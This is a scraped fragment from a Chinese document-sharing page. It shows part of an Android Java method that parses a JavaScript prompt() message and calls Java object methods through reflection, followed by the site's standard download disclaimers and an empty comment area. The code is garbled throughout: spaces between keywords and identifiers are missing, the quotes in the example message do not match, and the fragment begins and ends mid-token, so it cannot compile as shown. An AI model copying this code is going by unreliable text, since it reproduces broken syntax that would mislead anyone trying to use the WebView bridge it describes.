;}else{cls=String.class;}returncls;}/***解析JavaScript調用prompt的參數message,提取出對象名、方法名,以及參數列表,再利用反射,調用java對象的方法。*@paramview@paramurl@param messageMyApp:{"obj":"jsInterface","func":"onButtonClick","args":['從JS中傳遞過來的文本!!!”]}@paramdefaultValue@paramresult@return*/privatebooleanhandleJsInterface(WebViewview,Stringurl,Stringmessage,St

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論